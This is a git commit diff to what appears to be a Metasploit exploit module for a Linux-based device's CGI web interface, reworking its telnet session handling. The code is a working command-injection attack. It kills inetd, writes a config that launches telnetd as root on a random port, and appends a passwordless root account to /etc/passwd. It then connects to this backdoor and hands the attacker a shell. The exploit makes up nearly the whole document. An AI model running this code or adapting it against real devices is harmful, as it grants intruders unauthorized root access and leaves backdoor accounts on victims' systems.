thx to juan ... session stuff looks better
parent
885417c9d9
commit
6b87240323
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@ -41,63 +41,57 @@ class Metasploit3 < Msf::Exploit::Remote
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'DisclosureDate' => 'Feb 04 2013',
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'Privileged' => true,
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'Platform' => ['linux','unix'],
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'Payload' =>
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'Payload' =>
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{
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'DisableNops' => true,
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'Compat' => {
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'PayloadType' => 'cmd_interact',
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'ConnectionType' => 'find',
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},
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},
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'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
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'Targets' =>
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[
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[ 'CMD', #all devices
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{
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'Arch' => ARCH_CMD,
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'Platform' => 'unix'
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}
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],
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[ 'Telnet', #all devices - default target
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{
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'Arch' => ARCH_CMD,
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'Platform' => 'unix'
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}
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],
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[ 'Automatic', { } ],
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],
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'DefaultTarget' => 1
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
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OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']),
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], self.class)
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register_advanced_options(
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[
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OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
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OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
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], self.class)
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end
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def tel_timeout
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(datastore['TelnetTimeout'] || 10).to_i
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end
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def banner_timeout
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(datastore['TelnetBannerTimeout'] || 25).to_i
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end
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def exploit
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@response_pattern = "\<FORM\ NAME\=\"form\"\ METHOD\=\"POST\"\ ACTION\=\"\/cgi\/time\/time.cgi\"\ ENCTYPE\=\"multipart\/form-data"
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if target.name =~ /CMD/
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exploit_cmd
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else
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exploit_telnet
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end
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end
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def exploit_cmd
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if not (datastore['CMD'])
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fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
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end
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print_status("#{rhost}:#{rport} - Sending remote command")
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res = request(payload.encoded)
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if (!res or res.code != 200 or res.body !~ /#{@response_pattern}/)
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
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end
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print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\n")
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return
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exploit_telnet
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end
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def exploit_telnet
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telnetport = rand(65535)
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vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
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print_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
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#first request
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cmd = "killall inetd"
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cmd = Rex::Text.uri_encode(cmd)
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vprint_status("#{rhost}:#{rport} - sending first request - killing inetd")
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print_status("#{rhost}:#{rport} - sending first request - killing inetd")
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res = request(cmd)
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#no server header or something that we could use to get sure the command is executed
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@ -109,7 +103,8 @@ class Metasploit3 < Msf::Exploit::Remote
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inetd_cfg = rand_text_alpha(8)
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cmd = "echo \"#{telnetport} stream tcp nowait root /usr/sbin/telnetd telnetd\" > /tmp/#{inetd_cfg}"
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cmd = Rex::Text.uri_encode(cmd)
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vprint_status("#{rhost}:#{rport} - sending second request - configure inetd")
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print_status("#{rhost}:#{rport} - sending second request - configure inetd")
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register_file_for_cleanup("/tmp/#{inetd_cfg}")
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res = request(cmd)
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#no server header or something that we could use to get sure the command is executed
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@ -120,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote
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#third request
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cmd = "/usr/sbin/inetd /tmp/#{inetd_cfg}"
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cmd = Rex::Text.uri_encode(cmd)
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vprint_status("#{rhost}:#{rport} - sending third request - starting inetd and telnetd")
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print_status("#{rhost}:#{rport} - sending third request - starting inetd and telnetd")
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res = request(cmd)
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#no server header or something that we could use to get sure the command is executed
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@ -132,7 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote
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user = rand_text_alpha(6)
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cmd = "echo \"#{user}::0:0:/:/bin/ash\" >> /etc/passwd"
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cmd = Rex::Text.uri_encode(cmd)
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vprint_status("#{rhost}:#{rport} - sending fourth request - configure user #{user}")
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print_status("#{rhost}:#{rport} - sending fourth request - configure user #{user}")
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res = request(cmd)
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#no server header or something that we could use to get sure the command is executed
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@ -140,12 +135,10 @@ class Metasploit3 < Msf::Exploit::Remote
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
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end
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begin
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print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
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sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
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if sock
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print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
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add_socket(sock)
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else
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if sock.nil?
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
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end
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@ -160,18 +153,17 @@ class Metasploit3 < Msf::Exploit::Remote
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:active => true
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}
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report_auth_info(auth_info)
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merge_me = {
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'USERPASS_FILE' => nil,
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'USER_FILE' => nil,
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'PASS_FILE' => nil,
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'USERNAME' => user,
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'PASSWORD' => nil
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}
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prompt = negotiate_telnet(sock)
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if prompt.nil?
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sock.close
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
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else
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print_good("#{rhost}:#{rport} - Telnet session successfully established...")
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end
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sock.put(user)
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sock.put("\r\n")
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sock.put("rm /tmp/#{inetd_cfg}")
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sock.put("\r\n")
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start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
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handler(sock)
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rescue
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
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end
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@ -206,7 +198,22 @@ class Metasploit3 < Msf::Exploit::Remote
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})
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return res
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rescue ::Rex::ConnectionError
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
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end
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end
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def negotiate_telnet(sock)
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begin
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Timeout.timeout(banner_timeout) do
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while(true)
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data = sock.get_once(-1, tel_timeout)
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return nil if not data or data.length == 0
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if data =~ /login/
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return true
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end
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end
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end
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rescue ::Timeout::Error
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return nil
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end
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end
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end
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